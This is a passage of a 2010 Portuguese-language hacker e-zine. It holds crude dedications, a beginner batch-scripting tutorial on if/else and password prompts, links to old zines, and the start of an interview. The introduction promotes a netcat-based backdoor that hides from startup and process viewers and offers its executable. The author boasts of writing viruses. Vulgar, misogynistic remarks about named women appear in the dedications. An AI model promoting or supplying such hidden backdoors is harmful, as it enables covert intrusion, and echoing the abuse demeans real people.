fprintf (stderr, "\n[X] ============X==============X===== [X]\n");

closesocket (my_sock);
WSACleanup ();
return (0);
}

---- cut here ----


[s]


----- C4p1Tul0 03

[=] + =========XXXX=========== + [=]
Dedicatorias
[=] + ==========XXXXX========= + [=]

Editado em 00:50 27/3/2010

Dedico essa edicao a Juvenil silva que mora em Arapora - MG (UM DIA EU VOLTO,
Soh depende do seu Osmar), que eh inesquecivel em minha vida (mesmo ele
esquecendo de mim) porque faziamos ritual de consagracao de pentagrama em casas
abandonadas com direito a vela vermelha, incenso e tudo mais, bebiamos feito
gambas e nem tinhamos grana pra voltar pra casa, pois iamos pra cidades vizinhas
e gastavamos todo nosso dinheiro com pinga e conhaque (dae eu sempre tinha que recorrer
a minha madrinha) e por termos feito todo tipo de putaria que voce conseguir imaginar.
Passavamos noites em lans bebendo cerveja e iamos de Goias a Minas Gerais a peh
(Soh alguns minutos de caminhada =) e iamos nos finais de semana para um pomar cheirar
cola com os punks. Nao posso esquecer que iamos tambem pro putero em Itumbiara (lembra?),
etc ;) Véi, se eh foda.

E gostaria de dedicar a mais uma pessoa, nem preciso falar o que todo mundo jah
sabe, mas para quem nao sabe gostaria de dizer que dedico + essa edicao da
zine 'principalmente' a minha amada, Patricia. Porque sempre me apoia mesmo eu
estando errado, claro que depois de puxar minha orelha (tu sabe quantos anos eu
tinha quando escrevi isso?) estou me referindo ao meu grande amor Luzinha


Lu, essa zine eh pra voce, um dia apareco ai na tua casa pra nois tomar umas cervejas
e fazermos uma operacao pente fino ;-)


[s]


----- C4p1Tul0 04


[=] + ===XX===CC=====c========= + [=]
Palavras do autor
[=] + ===XX===CC=====c========= + [=]


Como saber se voce estah com dor de corno:

_ _
,-'/ \`-,
( (_,-'`-,-'`\_) ) Isso eh o mais perto de um boi que eu cheguei.
`. >;`--^-'-<,_.'-`-, Soh tinha vaca e tals e o bufalo (Esse daih).
_>' ) _ _(`\_` `, _
_/ _/ ,6. :6 \ \_ `._/`-' `,_
`-'') _|\_ ')`-' ` `,_
'( (o_,_) _/ , `\ \_
\ \,__ _ ( , . ,' \_
`( `--^-'|, ; :;,_` ) "`
|;, _,'_) >,\ /_,'\ \ > |
`)`( ;( / / \ | \ /\ _/ \
(,;) :)(_<_ \ ) ( > ( ) /
)( ( ) > \|_ |/ \| /`
`-^-` \/ >__\ /_( ,)_\ .,|/.


Well, well, well, akah estou eu 22:52 26/3/2010 escrevendo mais
uma merda de edicao editada da minha merda de e-zine tosca que nao
serve pra nada. Tenho demorado a publicar uma nova versao desta
fatidica e-zine porque tenho tido problemas pessoais relacinonados a
mulheres traidoras, caras que desejam "
paz do senhor" ~~ <== Entendeu maluca?
(na minha rua, da pra acreditar?) Esses malucos evangelicos... Sem contar
nos que tocam a campainha enquanto voce estah jogando Warcraft III ;) e essas
coisas que nos deixam afim de beber (Se toda vez que eu fosse corno
eu enchesse a cara, teriamos um cadaver no ano de 2007 devido a coma em
homenagem a grande Beatriz, Minha ex-namorada - Se ela me der, eu como,
nada contra). Mas dessa vez foi pior, praticas extremas de tormentas exigem
praticas extremas de "
esportividade", de otimo bom humor. Enfim, deixa isso
pra lah, todos sabem que blackhats sao meio psicoticos, tudo tem seu
lado negro mesmo ;) Bem, dedico essa fatidica ezine a mina que eu comia,
voce agora tem mais uma historia de gala seca na sua bunda pra contar pra tuas
amigas no banheiro e eu mais uma puta no curriculo. Ainda somos amigos, neh?
No cearah aprendemos que ser corno eh luxo (Maldito ex patrao, ae Nem, essa
e-zine eh pra voce e pra Luh =). E pra todos os jegues aka: Jumentos e cavalos
que circulam minhas redondezas (Olha que graca) Cearah...


Se nao tivesse nao escreveria isso. Biae? Adios? The show must goon on (the same sarcasm)...

[s]


----- C4p1Tul0 05


[=] + =======xx==============xx=========== + [=]
XX -> Introducao a zine <- XX
[=] + =======xx==============xx=========== + [=]


Hi. Nessa edicao temos uma entrevista com nada mais nada menos que:
Marcos Flavio Araujo Assuncao (meu idolo nesse tempo - e olha que eu tinha
18 anos = duh!), eh isso ae manoh, espero que gostem. Vai anexado a zine um
tutorial Bonus com shots e tudo mais onde estou mostrando como remover
aqueles virus e trojans de quinta categoria. Lembrando: A algum tempo DESENVOLVI
uma forma de inutilizar os olhos humanos caso alguem queira visualizar os valores
sequenciais nas chaves de registro do windows ou visualizar o que estah se
iniciando na maquina com algum visualizador de coisas que se iniciam (Adoro brincar
com meu windowszinho 32 bitinhos). Enfim, caso algum maluco use o
process view ou qualquer outro visualizador de coisas que se iniciam nao vai
ver nada... Procure lah na minha page algo sobre 'BackDoor Camuflagem for avast!
antivirus', ta em videos. Vale lembrar que voce pode usar essa tecnica para qualquer
coisa que se inicie na maquina. Essa tecnica que ate pouco tempo nao tinha nome vai
ser chamar de agora em diante: 'Patricia' (Sempre). O camuflagem eh um backdoor baseado no
netcat que se utiliza desta tecnica para se esconder do pessoal.

OBS: A tecnica eh minha, se existir algum maluquinho divulgando ela e nao postando
os creditos vai rolar ai uma perceguicaozinha a esse sugeito.

Existe(M) leis sobre direitos autorias no Brasil, Pelagio pode lhe trancar...

Se

 
voce tem uma ex-namorada chamada Patricia que te traiu com um negao e
voce nao gosta de ver esse nome NA MINHA TECNICA, gostaria de mandar voce se fuder
(eh claro que voce nao se importa com o nome da minha tecnica, neh?). Resolvi compilar
e disponibilizar o executavel
para voces na zine como bonus ;) Obvio que voce nao vai sair por ai executando as
coisas sem ver o que se encontra dentro dele e tals, por isso eu compilei com o
Quick Batch File Compiler e a senha eh 'tsuder', mas nem esquentem que tem um file
junto com o 'exe' que tb mostra a senha e mostra algumas instrucoes de uso. Tipo, nao
gostei de ver o caras da revista CHMOD fazendo algo "parecido", mas que seja, tipo...
Desenvolvi a patricia no natal de 2007, tenho provas (E COMO TENHO) que o post eh
antigo, os caras a + ou - umas duas semanas (Nota: Hoje eh 26/3/2010) publicam a
revista pegando um legitimo executavel (provalmente) e dizendo que sabem fazer a
patricia, ou seja, o placker devia olhar mais essas coisas cara, tipo... sei lah,
coincidencia? Acho que isso ta + pra plagio. Nesta ed da C.O.D.E temos ainda uns
cursinhos legais e muinta information for y0u.


[s]


----- C4p1Tul0 06

[+ ====================================== +]
X xX ESPECIAL C.O.D.E XxX
+ Zines de ontem e de hoje +
[+ ====================================== +]


Venha conhecer o fantastico mundo das e-zines Hacker baby =) Nao eh de hoje
venho falando sobre essas verdadeiras belezinhas da literatura, nao eh segredo pra
ninguem que sou um apaixonado por essas porras que normalmente sao distribuidas
em 'txt', eu simplesmente viajo caras, eh muito bacana voce le essas paradas. Ae vai
mais zines para voces curtirem pessoal. Vale lembrar que nas edicoes anteriores
da C.O.D.E foram mais dezenas de links para outras zines e por isso recomendo
que de uma olhadinha nas outras eds tambem.


Starting....

Essa primeira zine do especial C.O.D.E eu postei lah no forum-invaders.com.br,
com seu respectivo comentario, va da uma olhada la e veja o que essa humilde zine
significa para nossa historia irmaos. Esta eh a PRIMEIRA ZINE 'HACKER' DO Brasil,
Que por sinal eh a pior e nao ensina merda nenhuma (Grande AciDmuD, ou foi o VooDoo?
Ou foi todos os caras que conheco?).


==========================================
Nota ironica de adulto as 00:00 27/3/2010

Esse kra eh um lamah marketeiro ateh hoje.
==========================================


____ _ ______ _ _ _
| _ \ | | | ____| | | | (_)
| |_) | __ _ _ __ __ _| |_ __ _ | |__ | | ___| |_ _ __ _ ___ __ _
| _ < / _` | '__/ _` | __/ _` | | __| | |/ _ \ __| '__| |/ __/ _` |
| |_) | (_| | | | (_| | || (_| | | |____| | __/ |_| | | | (_| (_| |
|____/ \__,_|_| \__,_|\__\__,_| |______|_|\___|\__|_| |_|\___\__,_|


BARATA ELETRICA, numero 0
Sao Paulo, 3 de dezembro de 1994
Bienio Poli - Sala 23
Cidade Universidade


http://www.hunterhacker.xpg.com.br/barata00.zip
http://www.hunterhacker.xpg.com.br/barata01.zip
http://www.hunterhacker.xpg.com.br/barata02.zip
http://www.hunterhacker.xpg.com.br/barata03.zip
http://www.hunterhacker.xpg.com.br/barata04.zip
http://www.hunterhacker.xpg.com.br/barata05.zip
http://www.hunterhacker.xpg.com.br/barata06.zip
http://www.hunterhacker.xpg.com.br/barata07.zip
http://www.hunterhacker.xpg.com.br/barata08.zip
http://www.hunterhacker.xpg.com.br/barata09.zip
http://www.hunterhacker.xpg.com.br/barata10.zip
http://www.hunterhacker.xpg.com.br/barata11.zip
http://www.hunterhacker.xpg.com.br/barata12.zip
http://www.hunterhacker.xpg.com.br/barata13.zip
http://www.hunterhacker.xpg.com.br/barata14.zip
http://www.hunterhacker.xpg.com.br/barata15.zip
http://www.hunterhacker.xpg.com.br/barata16.zip
http://www.hunterhacker.xpg.com.br/barata17.zip
http://www.hunterhacker.xpg.com.br/barata18.zip
http://www.hunterhacker.xpg.com.br/barata19.zip
http://www.hunterhacker.xpg.com.br/barata20.zip
http://www.hunterhacker.xpg.com.br/barata21.zip
http://www.hunterhacker.xpg.com.br/barata22.zip
http://www.hunterhacker.xpg.com.br/barata23.zip
http://www.hunterhacker.xpg.com.br/barata24.zip
http://www.hunterhacker.xpg.com.br/barata25.zip
http://www.hunterhacker.xpg.com.br/barata26.zip
http://www.hunterhacker.xpg.com.br/barata27.zip
http://www.hunterhacker.xpg.com.br/barata28.zip

============================================

zZZZZZZZZZZZZZZZz
zZ
cCCCCCCCCc sSSSSSSSSs zZ
cCCCCCCCCCCCCc sSSSSSSSSSSSSs zZ
cCCC CCCCc sSSS SSSSs zZ
cCCCc SSSSs zZ II NNn NN EEEEE
CCCCC SSSSSSSSSSs zZ II NNNn NN EE
CCCCC SSSSSSSSSs zZ II NN NnNN EEEE
CCCCC SSSSS zZ II NN NNN EE
CCCC CCCCc sSSSS SSSS zZ II NN NN EEEEE
CCCCCCCCCCCCCC SSSSSSSSSSSSSS zZ
CCCCCCCCCC SSSSSSSSSS zZ
zZ
zZ
zZZZZZZZZZZZZZZZZz



PS: Se você nao conseguiu ler direito, aih em cima tah escrito CSZine.


Caras, nao tenho palavras para descrever uma elite, elite eh elite, ou em outras palavras:
Meu idolo, soh nao vou da pra ele. Muito menos dividir mulher com ele *NAO MESMO*. 3 Sabe
como eh esse negocio de fa. Ae esse maluco escreveu quando era pirralho:


http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_01.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_02.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_03.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_04.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_05.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_06.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_07.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_08.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_09.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_10.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_11.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_12.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_13.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_14.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_15.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_16.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_17.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_18.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_19.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_20.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_21.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_22.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_23.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_24.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_25.txt



NOTA DO AUTOR DESSA PORRA DE EDICAO QUE NAO PRESTA PRA NADA QUE ESTAH
ESCREVENDO EM FONTES GRANDES APENAS PARA CHAMAR A DROGA DA SUA ATENCAO
AMIGO LEITOR QUE NAO AGUENTA MAIS ESSES SEMEM ANALFABETOS QUE NAO SE UTILIZAM
DE PONTUACAO E QUE ESCREVEM COM FONTES GRANDES OU MELHOR LETRA DE FORMA
PARA CHAMAR A DROGA DA SUA ATENCAO E PARA FAZER VOCE SORRIR UM POUCO COM
ESSA MATERIA IDIOTA ABAIXO MAS ANTES VEJA UM AVISO SOBRE ELA AGORA:


00:12 27/3/2010 Acredite, nesse tempo eu tinha 18 anos...


Olha, nao mudou muita coisa nao, quando to sozinho eu choro e chamo minha
mae ;)

[s]




----- C4p1Tul0 07

[=] + =======xx==============xx=========== + [=]
Programando em Batch Parte 3
[=] + =======xx=============xx============ + [=]


Parte 3!!! Isso mesmo cara, tudo que tinha na C.O.D.E x01 vai continuar aqui (dã, dã),
ou seja, não pegue o bonde andando, se voce não tem a code x00 e x01 baixem aqui:

http://www.hunterhacker.xpg.com.br/CODEx00.txt
http://www.hunterhacker.xpg.com.br/CODEx01.txt

================================
Controle de fluxo em batch - 'if'
================================

Controle de fluxo nada mais é que voce inserir no seu programa algo do tipo:
'Se voce digitar isso vai acontecer isso:', 'se existir isso aqui vai contecer isso aqui:'.
E assim vai. Esses são os operadores de comparação que são utilizados com o
comando 'if' no batch:

EQU - igual
NEQ - diferente
LSS - menor que
LEQ - menor que ou igual
GTR - maior que
GEQ - maior que ou igual

Exemplos (espero que tenham lido as C.O.D.Es anteriores antes de proceguir):

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
pause

------ cut ------

Esse script exibe a mensagem 'Digite o numero que estou pensando:' e armazena o que
foi digitado na variavel 'numero' e abaixo ele vai fazer uma comparação do que o user
digitou (if %numero% == 10), se o que o maluco digitou for igual (==) a 10 ele exibe
a mensagem: Ei cara, acha mesmo que eu estou pensando no %numero%?.
Simples, repara que utilizei o '==' ao invez dos outros =) nem preciso de muito lega-lenga
como diz minha amiga Íris. Vamos fazer varias comparações agora.

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
if %numero% == 24 (echo Linda rosa que te leva infeliz rsrs)
pause

------ cut ------

Esse script acima "espera" o usuario digitar um numero (set /p numero=Digite...), e armazena
o que ele digitou na variavel numero (%numero%), lembram que para ser referir a uma variavel
em batch utilizamos o sinal de percento (%)? Então para comparar voce tem que usar o sinal
'%', mas não precisa colocar para declarar (nesse caso). O que? Não sabe o que significa
declaração?

set /p numero="Ei ei ei <--- Isso e uma declaracao"

Acima declarei a variavel 'numero' =) Ou seja, declarar é voce escrever no seu codigo alguma
coisa, tipo, também declarei que a variavel (numero) seria do tipo 'char' rsrs hauhau!!!
Desculpem a piadinha, o /p é o que determina o tipo da minha variavel, e esse tipo armazena
string (texto =). Pronto, sem muito lenga-lenga (acho que não foi legal passar a noite
com a Iris ontem XP).

Ja que voce sabe que para comparar precisamos utilizar o sinal de percento ('%')
antes e depois do nome da variavel (Exemplo: %Variavel%. Caso contrario o
windows nem vai saber que voce quer comparar o valor digitado pelo user),
vamos passar para as proximas etapas. Se esse numero (que foi digitado pelo user)
for igual a 10 ele continua exibindo a mensagem: 'Ei cara, acha mesmo que eu estou
pensando no %numero%?' Caso o usuario digite 24 (hum...) o script exibe a
mensagem: Linda rosa que te leva infeliz rsrs. Repare bem ae mano, utilizei o '(' para
abrir o bloco de codigo que executa a ação e utilizei o ')' para fechar o bloco de
codigo que executa a ação, que será executada após um dos numeros digitados pelo
usuario coincidirem com os numeros que se comparados com a variavel, executam
a ação, no caso os numeros que serão comparados com a variavel (comparados com
o que o user digitou) são 10 e 24 (hum... Linda rosa que te leva) Detalhe: Pra quem
não sabe o 'if' significa 'se' em portugues, ou seja, estou falando a mesma coisa que:

se %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
se %numero% == 24 (echo Linda rosa que te leva infeliz rsrs)

Repare ae em cima no 'se' (Entendeu? =). Caso o usuario digite algo que não tem nada aver
com 10 ou 24 o script continua a executar o que "não" está dentro do bloco de codigo
('(' e ')'), ou seja, ele continua executando o que vem depois, que no caso é o tal do
'pause'. Detalhe: Depois que o user digita 10 ou 24 ele ainda continua executando o
'pause', CLARO QUE DEPOIS QUE ELE EXECUTA O QUE ESTÁ DENTRO DO
BLOCO DE CODIGO =) Mas se dentro do bloco de codigo contem o comando 'exit'
obviamente que ele nem vai chegar até o comando 'pause' que está fora do bloco de codigo =]

=========X==================X======
Controle de fluxo em batch - 'else'
=========X==================X======

Bem, o 'else' pode ser lido como: 'caso voce não faça o que eu quero eu mostro isso'.
Exemplo:

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
if %numero% == 24 (
echo Linda rosa que te leva infeliz rsrs) else (echo Ei mano, voce nao digitou 24 huahauh!!!)
pause

------ cut ------

Resultado:

Digite o numero que estou pensando:10
Ei cara, acha mesmo que eu estou pensando no 10?
Ei mano, voce nao digitou 24 huahauh!!!
Pressione qualquer tecla para continuar. . .

C:\> Chega de langa-lenga!!! hauha!!! Vou parar de explicar a mesma coisa varias vezes =)

Mais exemplos:

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% EQU 10 (echo Ei cara, parabens!!! Voce digitou %numero%?)
if %numero% NEQ 24 (echo Continua nao executando o 24 uhuhauha!!!)
pause

------ cut ------

Caso o user digite 10 o resultado é esse:

Digite o numero que estou pensando:10
Ei cara, parabens!!! Voce digitou 10?
Mas continua nao digitando o 24 rsrs
Pressione qualquer tecla para continuar. . .

Reparem que utilizei os operadores de comparação EQU (Equivalent) e NEQ (Not Equivalent).
Ou seja, disse isso aqui:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
@echo off &cls
set /p numero=Digite o numero que estou pensando:
SE %O que o usuario digitou% == 10 (echo Ei cara, parabens!!! Voce digitou %numero%?)
SE %O que o usuario digitou% NÃO 24 (echo Continua nao executando o 24 uhuhauha!!!)
pause
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Se o que o usuario digitou for equivalente (EQU - igual a) 10 ele exibe a mensagem acima,
se o que o usuario digitar NÃO (Não Equivalente - NEQ) for igual a 24 ele exibe outra
mensagem, mas olha só que legal rapazida, 10 é igual a 24? Não! É por isso além do
programa exibir a mensagem

echo Ei cara, parabens!!! Voce digitou %numero%?

Ele ainda exibe:

echo Continua nao executando o 24 uhuhauha!!!

Porque eu programei ele para exibir essa segunda pensagem quando um usuario NÃO digitar
o que eu quero =) Com esse esquema meu fi, o usuario só tem duas escolhas:

Sim ou SIM

Huahuahuh!!!! Ja fiz muitos virus nesse esquema hauhauh!!! Dava ao usuario uma falsa sensação
de escolha hauhuaha!!! Livre arbitril ou arbitriu ou arbitre (Não sei, não sou evangelico
hauha!!!) só no céu baby hauhauhau!!! Entendenram? O MANIACO DA EXPLICAÇÃO
DETALHADA ESTÁ DEVOLTA!!!! Com suas piadinhas sem graça e tudo mais Hauhauh!!!

=======X==============X=============================X=
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
=======X==============X=============================X=

Muitas vezes voce necessita que seu script faça comparações de strings digitadas pelo usuario,
isso é muito importante como voces verão mais a frente na seção 'Telnet Secure', nesse exemplo
me utilizei do método autenticação fornecido pelos scripts em batch para dar um segunda
camada de segurança ao meu computador, fazendo com que seje necessario a utilização
de uma segunda senha em uma seção telnet 'já estabelecida'. Se voce tiver imaginação
(coisa que não me falta) e tiver conhecimento em batch, garanto que fará muitas coisas boas e
completamente bizarras com simples scripts em batch (Experiencia propria =).
Vamos aos exemplos:

------ cut ------
@echo off &cls
set senha=luzinha
set /p password=Digite sua senha:
if %password% EQU %senha% (echo Bem vindo amigo)
if %password% NEQ %senha% (echo Desculpe, senha invalida)
pause
------ cut ------

Se voces acompanharam a C.O.D.E x01, viram que para declararmos uma variavel em batch
utilizamos o comando 'set', nesse script o que fiz foi basicamente declarar uma variavel
de nome 'senha' ('set senha' =) que recebe o valor (dados) 'luzinha', que como voce pode
ver é texto (nada de numero rsrs =). Abaixo verá que declarei outra variavel chamada
'password' (que significa 'senha' em portugues) que exibe a mensagem 'Digite sua senha' e
'PARA' a execução do script ATÉ que o usuario digite sua senha, quando o usuario digitar
algo, esse algo vai ser armazenado na variavel 'password' e logo abaixo vai rolar uma
comparação de valores. Reparem aqui:

Linguagem Batiana hauhau!! (Não vem do Batman rsrs):

IF "%password%" EQU "%senha%" (echo Bem vindo amigo)
IF "%password%" NEQ "%password%" (echo Desculpe, senha invalida)

Tradução (Em nossa lingua, chega de falar morcegal):

SE "%O q o user digitou for%" Equivalente a: "%O valor da variavel 'senha'%" (
echo Eu exibo essa mensagem aqui: Bem vindo amigo )

SE "%O q o user digitou%" Nao for equivalente ao: "%Valor da variavel 'senha'%" (
echo Eu mando ele chupar uma manga hauhau!!! )

Ou poderar incurtar as coisas utilizando o 'else', exemplo:

------ cut ------
@echo off &cls
set senha=luzinha
set /p password=Digite sua senha:
if %password% EQU %senha% (
echo Bem vindo amigo) ELSE (
echo Desculpe, senha invalida)
pause
------ cut ------

Se o que o usuario digitar for igual a 'luzinha' ele exibe a mensagem Bem vindo e tals,
caso contrario (ELSE) ele exibe Deculpe, senha invalida. O 'else' é uma forma de revolta
que inventaram cara huahuha!!! Ele diz assim: 'IF' não é assim, 'ELSE' então toma infeliz
hauhauh!!! Maneiro rsrs.

Detalhes Detalhes, voces sempre surgem =)

Reparem nesses resultados:

Digite sua senha:luzinha --> O cara digitou certo ('luzinha')
Bem vindo amigo --> Isso prova que ele digitou certo ('luzinha')
Pressione qualquer tecla para continuar. . .

Mas e se por algum acaso da vida o cara digitase ao invez de 'luzinha' em letras minusculas,
ele digitasse isso: LuZiNha, LUZINha, LUzinha (que não deixa de ser a senha). O que fazer
para o script autenticar a senha ou login ou ambos? Obviamente caso voce não queira inserir
nenhum recurso de login case sensitive. Para quem não sabe 'case sensitive' significa que a
senha diferencia letras minusculas de letras maiusculas. Para autenticar todas
as formas de escrita (minusculas e maiusculas) foi criado o '/I'. Vamos a um exemplo de
utilização do /I ou /i como preferir, pois o DOS não é 'case sensitive', ou seja, não
diferencia letras minusculas de maisculas (Eu sou o professor do ano rsrs =)

Mas antes gostaria de comprovar que da erro =)

=============================
Digite sua senha:LUZINHA
Desculpe, senha invalida
Pressione qualquer tecla para continuar. . .
=============================

Vamos ver o novo code:

------ cut ------
@echo off &cls
set senha=luzinha
set /p password=Digite sua senha:
if /I %password% EQU %senha% (
echo Bem vindo amigo) ELSE (
echo Desculpe, senha invalida)
pause
------ cut ------

Repare que a unica coisa que mudei nesse code com relação ao code anterior foi o '/I'
depois do 'IF', reparem ai:

if /I %password% EQU %senha% (

Utilizando o '/I' depois do 'IF' significa que ele vai fazer a comparação do que o usuario
digitou (%password%) com o valor da variavel 'senha' não se importando com letras
minusculas ou maiusculas. Vamos ao resultado.

Resultado:

Digite sua senha:LUZINHA
Bem vindo amigo
Pressione qualquer tecla para continuar. . .

Simples, muito simples, ou em outras palavras:

SVEB -> Simple, Very Easy Baby =]

Obviamente que se voce for um maniaco por portugues ira querer que o user digite o
começo da senha com letras maiusculas certo? Então apenas faça isso:

set senha=Luzinha

E não insira DEPOIS do 'IF' o '/I', isso faz com que seje necessario a utilização do 'L'
maiusculo no começo da senha (como voce definiu la em cima =). Para dificultar a vida
dos caras voce pode ir fazendo isso véi:

set senha=LuZ1nh@#

Podera utilizar metodos de autenticação que exigem caracteres especiais como o arroba (@)
ou a 'tralha' (#). Se o que o cara digitar contiver um errinho se quer vai dar... PAU!!!
Exemplos:

Acertou!!!

Digite sua senha:LuZ1nh@#
Bem vindo amigo
Pressione qualquer tecla para continuar. . ..

Errou!!!

Digite sua senha:Luz1nh@#
Desculpe, senha invalida
Pressione qualquer tecla para continuar. . .

Meu erro ai em cima foi ter digitado o 'z' com letra minuscula =). Só para lembrar amigo,
repare nessa linha aqui: @echo off &cls. Alguns de voces não devem conhecer este operador
--> '&', mas para quem não sabe gostaria de dizer que o 'E Comercial' é o operador
responsavel pela execução de dois comandos em uma mesma linha no seu script ou até mesmo
quando voce executa ele no shell do DOS, nesse caso é desativado o eco do comando e logo
em seguida a tela é limpa (utilizando o comando cls). Se eu quizese ver a data atual e
ainda ver a hora eu poderia inserir apenas uma linha no meu fonte, exemplo:

------ cut ------
@echo off
date &time
pause
------ cut ------

resultado:

Data atual: sex 29/02/2008
Digite a nova data: (dd-mm-aa)
Hora atual: 21:32:50,53
Digite a nova hora:
Pressione qualquer tecla para continuar. . .

Isso é bastante utilizado por mim, principalmente para inserir comentarios nos scripts
que desenvolvo, pois o 'ReM' que é utilizado para inserir comentarios em arquivo em
lotes ou no CONFIG.SYS, ainda continua sendo um comando, lembra que o '&'
permite que eu escreva dois OU MAIS comandos na mesma linha? Por isso me
sinto no direito de escrever o comando no '.bat' e colocar na frente o que ele faz =)

Exemplo:

------ cut ------
@echo off &ReM -> Aqui eu desligo o eco do comando
date &REM Aqui eu quero ver a data
echo Beijo xuxa &rem Aqui eu to mandando um beijo pra xuxa rsrs =)
pause
------ cut ------

Resultado:

Data atual: sex 29/02/2008
Digite a nova data: (dd-mm-aa)
Beijo xuxa
Pressione qualquer tecla para continuar. . .

Vale lembrar para os iniciantes que nenhum tipo de comentario é exibido na execução dos
scripts (como voce pode ver acima), pois a real função dos comentarios é ajudar outros
programadores a ter um bom entendimento de seus fontes (nada mais), porque voce vai
estar comentando toda ação, nesse caso 'todo comando' =) Com os comentarios você
também poderá inserir creditos, licença, instruções de uso e até piadas hehe. Vale lembrar
também que não é exibido nenhum tipo de comentario porque utilizei o '@echo off' no
começo do code. O interesante do controle de fluxo é justamente possibilitar a voce a
escolha de controlar cada coisa que vai acontecer =)

Mais exemplos:

Esse script abaixo testa se o que o usuario digitou é maior ou igual a 10, vou utilizar o
operador 'GEQ' que significa: 'Maior que, ou igual'. =)

------ cut ------

@echo off &cls & color a
set numtest=10
set /p num1=Digite um numero:
if %num1% GEQ %numtest% (
echo voce digitou um numero maior ou igual a %numtest%) ELSE (
echo voce nao digitou um numero maior ou igual a %numtest% =])

------ cut ------

Esse abaixo analisa se o que o usuario digitou é menor que 5, repare que ele apenas
analisa se é menor, ou seja, se o usuario digitar cinco ele ainda vai mostrar a
mensagem: Não é igual a cinco maluco. Porque estou utilizando um operador que só
faz um tipo de comparação que é:

Verificar se é menor.

Ponto. Sem muito lenga-lenga XP. ah! O operador (como voces podem ver) é o LSS, que
significa 'menor que' =)

------ cut ------
@echo off &cls & color a
set numtest=5
set /p num1=Digite um numero:
if %num1% LSS %numtest% (
echo Seu numero e menor que %numtest% %username%) ELSE (
echo voce nao digitou um numero menor que %numtest% %username% =])
------ cut ------

Repare que estou utilizando a variavel de ambiente (%username%) que armazena
o nome de usuario do maluco, para o script exibir uma mensagem mais legal. Vejamos.

Resultado:
-------------------------------------------------------------------------------------------
Digite um numero:-2
Seu numero e menor que 5 David <-- Repara no 'David', David é meu nome de usuario =)
-------------------------------------------------------------------------------------------
Digite um numero:10
voce nao digitou um numero menor que 5 David =]
-------------------------------------------------------------------------------------------
Digite um numero:5
voce nao digitou um numero menor que 5 David =]
-------------------------------------------------------------------------------------------

Sempre podemos utilizar variaveis de ambiente em nossos escripts, este ai é um belo exemplo
disso, David é o valor da variavel de ambiente %username% e que por sinal é meu username
(nome de usuario =) que está armazenado nesta variavel. Também podemos comparar valores
digitados pelo user diretamente a uma string, ou seja, não precisamos comparar valores de
duas variaveis.

------ cut ------

@echo off &cls & color a
set /p algo=Digite algo:
if "%algo%" EQU "Queijo" (
echo voce digitou Queijo! & pause) ELSE (
echo voce nao digitou Queijo :( & pause )

------ cut ------


Repare nas aspas e em tudo ai em cima, pois estou cançado de escrever XP. Até a proxima
parte do curso onde iremos falar mais do IF e essas paradinhas da vida ;-)


---- Batch é uma arte manoh.
By 6_Bl4ck9_f0x6 (Myloveluz)

[s]


----- C4p1Tul0 08


[X=========X=======================X==========X]
Entrevista com Marcos Flavio Araujo Assunção
[X=========X=======================X==========X]


NOta: 00:14 27/3/2010

Classe especial ateh hoje (Mesmo sendo pobre), o resto eh resto...


(Ano de 2008)

Aí está cambada, a tão esperada entrevista, espero que gostem de mais uma excelente materia
da C.O.D.E. Gostaria de agradecer mais uma vez ao Marcos por ter aceitado dar a entrevista
e gostaria de cobrar o paper que ele disse que ia escrever pra minha zine =) To esperando rsrs.

Starting...

[Eu]:

Ola Marcos, primeiramente gostaria de agradecer por voce ter aceitado a proposta de ser
entrevistado. Tenho certeza que os leitores da C.O.D.E depois desta entrevista vao te ver
com os meus olhos, ou seja, vao ver que voce e um dos muitos "Brasileiros" da elite (me
refiro a elite HACKER). Voce sabia que sou seu fa? Na verdade eu sou fa de um monte de
gente ae, mas sou seu fa tambem, diga o quanto essa entrevista é importante pra vc rsrsrsr,
ei! isso foi uma brincadeira eheh, enfim, me conte quando e como começou seu interesse
por hacking.

[Marcão]:

Haha, de boa, o prazer (da entrevista, óbvio), é meu... risos. Bom, olha só... eu sempre
gostei muito de informática e programação... lá pra 1994 ou 1995, quando eu tinha uns
14 anos, comecei a trabalhar em uma empresa de informática como "info-boy". É aquele
que ia na casa dos clientes instalar os softwares por disquete. (Windows = 15 disquetes.
